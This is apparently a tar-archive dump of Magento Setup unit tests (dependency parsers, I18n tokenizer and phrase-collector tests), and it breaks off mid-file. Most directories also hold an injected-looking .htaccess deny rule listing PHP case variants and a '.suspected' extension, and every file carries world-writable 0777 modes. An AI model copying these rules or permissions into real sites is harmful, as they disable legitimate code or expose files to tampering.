0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Data/Config/.htaccess000077700000000177151323623130021541 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Data/Config/AbstractConfigTest.php000077700000001254151323623130024202 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Data\Config; use Magento\Setup\Module\Dependency\Report\Data\Config\AbstractConfig; use PHPUnit\Framework\TestCase; class AbstractConfigTest extends TestCase { public function testGetModules() { $modules = ['foo', 'baz', 'bar']; /** @var AbstractConfig $config */ $config = $this->getMockForAbstractClass( AbstractConfig::class, ['modules' => $modules] ); $this->assertEquals($modules, $config->getModules()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Data/.htaccess000077700000000177151323623130020334 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/.htaccess000077700000000177151323623130017463 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Parser/Config/XmlTest.php000077700000002367151323623130021167 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Parser\Config; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Parser\Config\Xml; use PHPUnit\Framework\TestCase; class XmlTest extends TestCase { /** * @var Xml */ protected $parser; protected function setUp(): void { $objectManagerHelper = new ObjectManager($this); $this->parser = $objectManagerHelper->getObject(Xml::class); } /** * @param array $options * @dataProvider dataProviderWrongOptionFilesForParse */ public function testParseWithWrongOptionFilesForParse($options) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Parse error: Option "files_for_parse" is wrong.'); $this->parser->parse($options); } /** * @return array */ public function dataProviderWrongOptionFilesForParse() { return [ [['files_for_parse' => []]], [['files_for_parse' => 'sting']], [['there_are_no_files_for_parse' => [1, 3]]] ]; } } Magento/Setup/Test/Unit/Module/Dependency/Parser/Config/.htaccess000077700000000177151323623130020651 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Parser/.htaccess000077700000000177151323623130017444 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Parser/CodeTest.php000077700000004122151323623130020063 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Parser; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Parser\Code; use PHPUnit\Framework\TestCase; class CodeTest extends TestCase { /** * @var Code */ protected $parser; protected function setUp(): void { $objectManagerHelper = new ObjectManager($this); $this->parser = $objectManagerHelper->getObject(Code::class); } /** * @param array $options * @dataProvider dataProviderWrongOptionFilesForParse */ public function testParseWithWrongOptionFilesForParse($options) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Parse error: Option "files_for_parse" is wrong.'); $this->parser->parse($options); } /** * @return array */ public function dataProviderWrongOptionFilesForParse() { return [ [['files_for_parse' => [], 'declared_namespaces' => [1, 2]]], [['files_for_parse' => 'sting', 'declared_namespaces' => [1, 2]]], [['there_are_no_files_for_parse' => [1, 3], 'declared_namespaces' => [1, 2]]] ]; } /** * @param array $options * @dataProvider dataProviderWrongOptionDeclaredNamespace */ public function testParseWithWrongOptionDeclaredNamespace($options) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Parse error: Option "declared_namespaces" is wrong.'); $this->parser->parse($options); } /** * @return array */ public function dataProviderWrongOptionDeclaredNamespace() { return [ [['declared_namespaces' => [], 'files_for_parse' => [1, 2]]], [['declared_namespaces' => 'sting', 'files_for_parse' => [1, 2]]], [['there_are_no_declared_namespaces' => [1, 3], 'files_for_parse' => [1, 2]]] ]; } } Magento/Setup/Test/Unit/Module/Dependency/Parser/Composer/JsonTest.php000077700000002466151323623130021722 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Parser\Composer; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Parser\Composer\Json; use Magento\Setup\Module\Dependency\Parser\Config\Xml; use PHPUnit\Framework\TestCase; class JsonTest extends TestCase { /** * @var Xml */ protected $parser; protected function setUp(): void { $objectManagerHelper = new ObjectManager($this); $this->parser = $objectManagerHelper->getObject(Json::class); } /** * @param array $options * @dataProvider dataProviderWrongOptionFilesForParse */ public function testParseWithWrongOptionFilesForParse($options) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Parse error: Option "files_for_parse" is wrong.'); $this->parser->parse($options); } /** * @return array */ public function dataProviderWrongOptionFilesForParse() { return [ [['files_for_parse' => []]], [['files_for_parse' => 'string']], [['there_are_no_files_for_parse' => [1, 3]]] ]; } } Magento/Setup/Test/Unit/Module/Dependency/Parser/Composer/.htaccess000077700000000177151323623130021233 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/.htaccess000077700000000177151323623130016210 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/ResourceFactoryTest.php000077700000002465151323623130017026 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\ResourceConnection; use Magento\Setup\Module\ConnectionFactory; use Magento\Setup\Module\ResourceFactory; use PHPUnit\Framework\TestCase; class ResourceFactoryTest extends TestCase { /** * @var ResourceFactory */ private $resourceFactory; protected function setUp(): void { $serviceLocatorMock = $this->getMockBuilder(ServiceLocatorInterface::class) ->onlyMethods(['get']) ->getMockForAbstractClass(); $connectionFactory = new ConnectionFactory($serviceLocatorMock); $serviceLocatorMock ->expects($this->once()) ->method('get') ->with(ConnectionFactory::class) ->willReturn($connectionFactory); $this->resourceFactory = new ResourceFactory($serviceLocatorMock); } public function testCreate() { $resource = $this->resourceFactory->create( $this->createMock(DeploymentConfig::class) ); $this->assertInstanceOf(ResourceConnection::class, $resource); } } Magento/Setup/Test/Unit/Module/I18n/FactoryTest.php000077700000003112151323623130016023 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Dictionary\Writer\Csv; use Magento\Setup\Module\I18n\Dictionary\Writer\Csv\Stdo; use Magento\Setup\Module\I18n\Factory; use PHPUnit\Framework\TestCase; class FactoryTest extends TestCase { /** * @var Factory */ protected $factory; protected function setUp(): void { $objectManagerHelper = new ObjectManager($this); $this->factory = $objectManagerHelper->getObject(Factory::class); } /** * @param string $expectedInstance * @param string $fileName * @dataProvider createDictionaryWriterDataProvider */ public function testCreateDictionaryWriter($expectedInstance, $fileName) { $this->assertInstanceOf( $expectedInstance, $this->factory->createDictionaryWriter($fileName) ); } /** * @return array */ public function createDictionaryWriterDataProvider() { return [ [ Csv::class, TESTS_TEMP_DIR . '/filename.invalid_type', ], [ Csv::class, TESTS_TEMP_DIR . '/filename' ], [ Csv::class, TESTS_TEMP_DIR . '/filename.csv' ], [ Stdo::class, '' ], ]; } } Magento/Setup/Test/Unit/Module/I18n/Parser/ParserTest.php000077700000017137151323623130017120 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Factory; use Magento\Setup\Module\I18n\FilesCollector; use Magento\Setup\Module\I18n\Parser\AbstractParser; use Magento\Setup\Module\I18n\Parser\AdapterInterface; use Magento\Setup\Module\I18n\Parser as Parser; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ParserTest extends TestCase { /** * @var AbstractParser|MockObject */ protected $parser; /** * @var MockObject|FilesCollector */ protected $filesCollector; /** * @var MockObject|Factory */ protected $factory; protected function setUp(): void { $this->filesCollector = $this->createMock(FilesCollector::class); $this->factory = $this->createMock(Factory::class); $this->parser = new Parser\Parser($this->filesCollector, $this->factory); } /** * @param array $options * @param array $phpFiles * @param array $jsFiles * @param array $phpMap * @param array $jsMap * @param array $phraseFactoryMap * @param array $expectedResult * @dataProvider addPhraseDataProvider */ public function testAddPhrase($options, $phpFiles, $jsFiles, $phpMap, $jsMap, $phraseFactoryMap, $expectedResult) { // 1. Create mocks $phpAdapter = new AdapterStub(); $jsAdapter = new AdapterStub(); // 2. Set mocks $this->parser->addAdapter('php', $phpAdapter); $this->parser->addAdapter('js', $jsAdapter); //3. Set fixtures $phpAdapter->setValueMap($phpMap); $jsAdapter->setValueMap($jsMap); $this->factory->expects($this->any()) ->method('createPhrase') ->with() ->willReturnMap($phraseFactoryMap); //4. Set expectations $this->filesCollector->expects($this->any()) ->method('getFiles') ->willReturnMap([ [$options[0]['paths'], '', $phpFiles], [$options[1]['paths'], '', $jsFiles], ]); $result = $this->parser->parse($options); $this->assertEquals($expectedResult, $result); } /** * @return array */ public function addPhraseDataProvider() { $phraseMock1 = $this->createMock(Phrase::class); $phraseMock2 = $this->createMock(Phrase::class); $phraseMock3 = $this->createMock(Phrase::class); $phraseMock4 = $this->createMock(Phrase::class); $phraseMock5 = $this->createMock(Phrase::class); $phraseMock6 = $this->createMock(Phrase::class); $phraseMock7 = $this->createMock(Phrase::class); $phraseMock8 = $this->createMock(Phrase::class); $phraseMock1->expects($this->any())->method('getCompiledPhrase')->willReturn('php phrase111'); $phraseMock2->expects($this->any())->method('getCompiledPhrase')->willReturn('php phrase112'); $phraseMock3->expects($this->any())->method('getCompiledPhrase')->willReturn('php phrase121'); $phraseMock4->expects($this->any())->method('getCompiledPhrase')->willReturn('php phrase122'); $phraseMock5->expects($this->any())->method('getCompiledPhrase')->willReturn('js phrase111'); $phraseMock6->expects($this->any())->method('getCompiledPhrase')->willReturn('js phrase112'); $phraseMock7->expects($this->any())->method('getCompiledPhrase')->willReturn('js phrase121'); $phraseMock8->expects($this->any())->method('getCompiledPhrase')->willReturn('js phrase122'); return [ [ 'options' => [ ['type' => 'php', 'paths' => ['php/path/1', 'php/path/2']], ['type' => 'js', 'paths' => ['js/path/1', 'js/path/2']], ], 'phpFiles' => ['php/path1/file11', 'php/path1/file12', 'php/path2/file21'], 'jsFiles' => ['js/path1/file11', 'js/path1/file12', 'js/path2/file21'], 'phpMap' => [ 'php/path1/file11' => [ [ 'phrase' => 'php phrase111', 'quote' => "'" ], [ 'phrase' => 'php phrase112', 'quote' => '"' ] ], 'php/path1/file12' => [ [ 'phrase' => 'php phrase121', 'quote' => "'" ], [ 'phrase' => 'php phrase122', 'quote' => '"' ] ], 'php/path2/file21' => [] ], 'jsMap' => [ 'js/path1/file11' => [ [ 'phrase' => 'js phrase111', 'quote' => "'" ], [ 'phrase' => 'js phrase112', 'quote' => '"' ] ], 'js/path1/file12' => [ [ 'phrase' => 'js phrase121', 'quote' => "'" ], [ 'phrase' => 'js phrase122', 'quote' => '"' ] ], 'js/path2/file21' => [] ], 'phraseFactoryMap' => [ [['phrase' => 'php phrase111', 'translation' => 'php phrase111', 'quote' => "'"], $phraseMock1], [['phrase' => 'php phrase112', 'translation' => 'php phrase112', 'quote' => '"'], $phraseMock2], [['phrase' => 'php phrase121', 'translation' => 'php phrase121', 'quote' => "'"], $phraseMock3], [['phrase' => 'php phrase122', 'translation' => 'php phrase122', 'quote' => '"'], $phraseMock4], [['phrase' => 'js phrase111', 'translation' => 'js phrase111', 'quote' => "'"], $phraseMock5], [['phrase' => 'js phrase112', 'translation' => 'js phrase112', 'quote' => '"'], $phraseMock6], [['phrase' => 'js phrase121', 'translation' => 'js phrase121', 'quote' => "'"], $phraseMock7], [['phrase' => 'js phrase122', 'translation' => 'js phrase122', 'quote' => '"'], $phraseMock8], ], 'expectedResult' => [ 'php phrase111' => $phraseMock1, 'php phrase112' => $phraseMock2, 'php phrase121' => $phraseMock3, 'php phrase122' => $phraseMock4, 'js phrase111' => $phraseMock5, 'js phrase112' => $phraseMock6, 'js phrase121' => $phraseMock7, 'js phrase122' => $phraseMock8, ], ] ]; } } // @codingStandardsIgnoreStart class AdapterStub implements AdapterInterface { /** * @var string */ private $file; /** * @var array */ private $map = []; /** * {@inheritdoc} */ public function parse($file) { $this->file = $file; } /** * {@inheritdoc} */ public function getPhrases() { return $this->map[$this->file]; } /** * @param array $map */ public function setValueMap($map) { $this->map = $map; } } Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/HtmlTest.php000077700000006104151323623130020140 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser\Adapter; use Magento\Setup\Module\I18n\Parser\Adapter\Html; use PHPUnit\Framework\TestCase; class HtmlTest extends TestCase { /** * @var Html */ private $model; /** * @var string */ private $testFile; protected function setUp(): void { $this->testFile = str_replace('\\', '/', realpath(__DIR__)) . '/_files/email.html'; $this->model = new Html(); } public function testParse() { $expectedResult = [ [ 'phrase' => 'Phrase 1', 'file' => $this->testFile, 'line' => '', 'quote' => '\'', ], [ 'phrase' => 'Phrase 2 with %a_lot of extra info for the brilliant %customer_name.', 'file' => $this->testFile, 'line' => '', 'quote' => '"', ], [ 'phrase' => 'This is test data', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => 'This is test data at right side of attr', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => 'This is \\\' test \\\' data', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => 'This is \\" test \\" data', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => 'This is test data with a quote after', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => 'This is test data with space after ', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => '\\\'', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => '\\\\\\\\ ', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => 'This is test content in translate tag', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], [ 'phrase' => 'This is test content in translate attribute', 'file' => $this->testFile, 'line' => '', 'quote' => '', ], ]; $this->model->parse($this->testFile); $this->assertEquals($expectedResult, $this->model->getPhrases()); } } Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/Php/Tokenizer/TokenTest.php000077700000007356151323623130023027 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser\Adapter\Php\Tokenizer; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token; use PHPUnit\Framework\TestCase; /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token */ class TokenTest extends TestCase { /** * @var ObjectManager */ protected $objectManager; protected function setUp(): void { $this->objectManager = new ObjectManager($this); } /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token::isNew * * @param int $name * @param string $value * @param bool $result * @dataProvider testIsNewDataProvider */ public function testIsNew($name, $value, $result) { $token = $this->createToken($name, $value); $this->assertEquals($result, $token->isNew()); } /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token::isNamespaceSeparator * * @param int $name * @param string $value * @param bool $result * @dataProvider testIsNamespaceSeparatorDataProvider */ public function testIsNamespaceSeparator($name, $value, $result) { $token = $this->createToken($name, $value); $this->assertEquals($result, $token->isNamespaceSeparator()); } /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token::isIdentifier * * @param int $name * @param string $value * @param bool $result * @dataProvider testIsIdentifierDataProvider */ public function testIsIdentifier($name, $value, $result) { $token = $this->createToken($name, $value); $this->assertEquals($result, $token->isIdentifier()); } /** * @return array */ public function testIsNewDataProvider() { return [ 'new' => ['name' => T_NEW, 'value' => 'new', 'result' => true], 'namespace' => ['name' => T_NS_SEPARATOR, 'value' => '\\', 'result' => false], 'identifier' => ['name' => T_STRING, 'value' => '__', 'result' => false] ]; } /** * @return array */ public function testIsNamespaceSeparatorDataProvider() { return [ 'new' => ['name' => T_NEW, 'value' => 'new', 'result' => false], 'namespace' => ['name' => T_NS_SEPARATOR, 'value' => '\\', 'result' => true], 'identifier' => ['name' => T_STRING, 'value' => '__', 'result' => false] ]; } /** * @return array */ public function testIsIdentifierDataProvider() { return [ 'new' => ['name' => T_NEW, 'value' => 'new', 'result' => false], 'namespace' => ['name' => T_NS_SEPARATOR, 'value' => '\\', 'result' => false], 'identifier' => ['name' => T_STRING, 'value' => '__', 'result' => true] ]; } /** * @param int $name * @param string $value * @return Token */ protected function createToken($name, $value) { $line = 110; return $this->objectManager->getObject( Token::class, [ 'name' => $name, 'value' => $value, 'line' => $line ] ); } public function testIsConcatenateOperatorTrue() { $token = new Token('.', '.'); $this->assertTrue($token->isConcatenateOperator()); } public function testIsConcatenateOperatorFalse() { $token = new Token(',', ','); $this->assertFalse($token->isConcatenateOperator()); } } Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/Php/Tokenizer/PhraseCollectorTest.php000077700000017672151323623130025042 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser\Adapter\Php\Tokenizer; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\Token; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector */ class PhraseCollectorTest extends TestCase { /** * @var PhraseCollector */ protected $phraseCollector; /** * @var ObjectManager */ protected $objectManager; /** * @var Tokenizer|MockObject */ protected $tokenizerMock; protected function setUp(): void { $this->objectManager = new ObjectManager($this); $this->tokenizerMock = $this->getMockBuilder(Tokenizer::class) ->disableOriginalConstructor() ->getMock(); $this->phraseCollector = $this->objectManager->getObject( PhraseCollector::class, [ 'tokenizer' => $this->tokenizerMock ] ); } /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer\PhraseCollector::parse * * @param string $file * @param array $isEndOfLoopReturnValues * @param array $getNextRealTokenReturnValues * @param array $getFunctionArgumentsTokensReturnValues * @param array $isMatchingClassReturnValues * @param array $result * @dataProvider testParseDataProvider */ public function testParse( $file, array $isEndOfLoopReturnValues, array $getNextRealTokenReturnValues, array $getFunctionArgumentsTokensReturnValues, array $isMatchingClassReturnValues, array $result ) { $matchingClass = 'Phrase'; $this->tokenizerMock->expects($this->once()) ->method('parse') ->with($file); $this->tokenizerMock->expects($this->atLeastOnce()) ->method('isEndOfLoop') ->will(call_user_func_array( [$this, 'onConsecutiveCalls'], $isEndOfLoopReturnValues )); $this->tokenizerMock->expects($this->any()) ->method('getNextRealToken') ->will(call_user_func_array( [$this, 'onConsecutiveCalls'], $getNextRealTokenReturnValues )); $this->tokenizerMock->expects($this->any()) ->method('getFunctionArgumentsTokens') ->will(call_user_func_array( [$this, 'onConsecutiveCalls'], $getFunctionArgumentsTokensReturnValues )); $this->tokenizerMock->expects($this->any()) ->method('isMatchingClass') ->with($matchingClass) ->will(call_user_func_array( [$this, 'onConsecutiveCalls'], $isMatchingClassReturnValues )); $this->phraseCollector->setIncludeObjects(); $this->phraseCollector->parse($file); $this->assertEquals($result, $this->phraseCollector->getPhrases()); } /** * @return array */ public function testParseDataProvider() { $file = 'path/to/file.php'; $line = 110; return [ /* Test simulates parsing of the following code: * * $phrase1 = new \Magento\Framework\Phrase('Testing'); * $phrase2 = __('More testing'); */ 'two phrases' => [ 'file' => $file, 'isEndOfLoopReturnValues' => [ false, //before $phrase1 false, //at $phrase1 false, //at = false, //at new false, //at ; false, //at $phrase2 false, //at = false, //at __ false, //at ; true //after ; ], 'getNextRealTokenReturnValues' => [ $this->createToken(false, false, false, false, '$phrase1'), $this->createToken(false, false, false, false, '='), $this->createToken(false, false, true, false, 'new', $line), $this->createToken(false, false, false, false, ';'), $this->createToken(false, false, false, false, '$phrase2'), $this->createToken(false, false, false, false, '='), $this->createToken(true, false, false, false, '__', $line), $this->createToken(false, true, false, false, '('), $this->createToken(false, false, false, false, ';'), false ], 'getFunctionArgumentsTokensReturnValues' => [ [[$this->createToken(false, false, false, true, '\'Testing\'')]], // 'Testing') [[$this->createToken(false, false, false, true, '\'More testing\'')]] // 'More testing') ], 'isMatchingClassReturnValues' => [ true // \Magento\Framework\Phrase( ], 'result' => [ [ 'phrase' => '\'Testing\'', 'arguments' => 0, 'file' => $file, 'line' => $line ], [ 'phrase' => '\'More testing\'', 'arguments' => 0, 'file' => $file, 'line' => $line ] ] ] ]; } /** * @param bool $isEqualFunctionReturnValue * @param bool $isOpenBraceReturnValue * @param bool $isNewReturnValue * @param bool $isConstantEncapsedString * @param string $value * @param int|null $line * @return Token|MockObject */ protected function createToken( $isEqualFunctionReturnValue, $isOpenBraceReturnValue, $isNewReturnValue, $isConstantEncapsedString, $value, $line = null ) { $token = $this->getMockBuilder(Token::class) ->disableOriginalConstructor() ->getMock(); $token->expects($this->any()) ->method('isEqualFunction') ->with('__') ->willReturn($isEqualFunctionReturnValue); $token->expects($this->any()) ->method('isOpenBrace') ->willReturn($isOpenBraceReturnValue); $token->expects($this->any()) ->method('isNew') ->willReturn($isNewReturnValue); $token->expects($this->any()) ->method('isConstantEncapsedString') ->willReturn($isConstantEncapsedString); $token->expects($this->any()) ->method('getValue') ->willReturn($value); $token->expects($this->any()) ->method('getLine') ->willReturn($line); return $token; } public function testCollectPhrases() { $firstPart = "'first part'"; $firstPartToken = new Token(\T_CONSTANT_ENCAPSED_STRING, $firstPart); $concatenationToken = new Token('.', '.'); $secondPart = "' second part'"; $secondPartToken = new Token(\T_CONSTANT_ENCAPSED_STRING, $secondPart); $phraseTokens = [$firstPartToken, $concatenationToken, $secondPartToken]; $phraseString = "'first part' . ' second part'"; $reflectionMethod = new \ReflectionMethod( PhraseCollector::class, '_collectPhrase' ); $reflectionMethod->setAccessible(true); $this->assertSame($phraseString, $reflectionMethod->invoke($this->phraseCollector, $phraseTokens)); } } Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/Php/Tokenizer/.htaccess000077700000000177151323623130022166 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/Php/TokenizerTest.php000077700000007721151323623130021743 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser\Adapter\Php; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer; use PHPUnit\Framework\TestCase; /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer */ class TokenizerTest extends TestCase { /** * @var Tokenizer */ protected $tokenizer; /** * @var ObjectManager */ protected $objectManager; protected function setUp(): void { $this->objectManager = new ObjectManager($this); $this->tokenizer = $this->objectManager->getObject( Tokenizer::class ); } /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer::isMatchingClass */ public function testIsMatchingClass() { $class = 'Phrase'; $this->parseFile(); $this->assertFalse($this->tokenizer->isMatchingClass($class)); // new $this->assertTrue($this->tokenizer->isMatchingClass($class)); // \Magento\Framework\Phrase( $this->assertFalse($this->tokenizer->isMatchingClass($class)); // 'Testing' $this->assertFalse($this->tokenizer->isMatchingClass($class)); // ) $this->assertFalse($this->tokenizer->isMatchingClass($class)); // ; $this->assertFalse($this->tokenizer->isMatchingClass($class)); // new $this->assertTrue($this->tokenizer->isMatchingClass($class)); // Phrase( $this->assertFalse($this->tokenizer->isMatchingClass($class)); // 'More testing' $this->assertFalse($this->tokenizer->isMatchingClass($class)); // ) $this->assertFalse($this->tokenizer->isMatchingClass($class)); // ; $this->assertFalse($this->tokenizer->isMatchingClass($class)); // new $this->assertFalse($this->tokenizer->isMatchingClass($class)); // \Magento\Framework\DataObject( $this->assertFalse($this->tokenizer->isMatchingClass($class)); // ) $this->assertFalse($this->tokenizer->isMatchingClass($class)); // ; } /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer::getNextRealToken */ public function testGetNextRealToken() { $this->parseFile(); $this->assertEquals('new', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals('\\', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals('Magento', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals('\\', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals('Framework', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals('\\', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals('Phrase', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals('(', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals('\'Testing\'', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals(')', $this->tokenizer->getNextRealToken()->getValue()); $this->assertEquals(';', $this->tokenizer->getNextRealToken()->getValue()); } /** * @covers \Magento\Setup\Module\I18n\Parser\Adapter\Php\Tokenizer::isEndOfLoop */ public function testIsEndOfLoop() { $this->parseFile(); //We have 27 total tokens in objectsCode.php file (excluding whitespaces) //So the isEndOfLoop function should return true after we pick 28th non-existent token for ($i = 0; $i < 28; $i++) { $this->assertFalse($this->tokenizer->isEndOfLoop()); $this->tokenizer->getNextRealToken(); } $this->assertTrue($this->tokenizer->isEndOfLoop()); } protected function parseFile() { $file = __DIR__ . '/_files/objectsCode.php.txt'; $this->tokenizer->parse($file); } } Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/Php/_files/objectsCode.php.txt000077700000000162151323623130023424 0ustar00<?php new \Magento\Framework\Phrase('Testing'); new Phrase('More testing'); new \Magento\Framework\DataObject(); Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/Php/_files/.htaccess000077700000000177151323623130021455 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/Php/.htaccess000077700000000177151323623130020214 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/I18n/Parser/Adapter/XmlTest.php000077700000004111151323623130017770 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\I18n\Parser\Adapter; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\I18n\Parser\Adapter\Xml; use PHPUnit\Framework\TestCase; class XmlTest extends TestCase { /** * @var string */ protected $_testFile; /** * @var Xml */ protected $_adapter; protected function setUp(): void { $objectManagerHelper = new ObjectManager($this); $this->_adapter = $objectManagerHelper->getObject(Xml::class); } /** * @dataProvider parseDataProvider * @param string $file * @param array $expectedResult * @return void */ public function testParse(string $file, array $expectedResult) { $this->_adapter->parse($file); $this->assertEquals($expectedResult, $this->_adapter->getPhrases()); } /** * Provide files and parse results for testParse. * * @return array */ public function parseDataProvider() { $default = str_replace('\\', '/', realpath(dirname(__FILE__))) . '/_files/default.xml'; $defaultDi = str_replace('\\', '/', realpath(dirname(__FILE__))) . '/_files/default_di.xml'; return [ [ 'file' => $default, 'expectedResult' => [ ['phrase' => 'Phrase 2', 'file' => $default, 'line' => '', 'quote' => ''], ['phrase' => 'Phrase 3', 'file' => $default, 'line' => '', 'quote' => 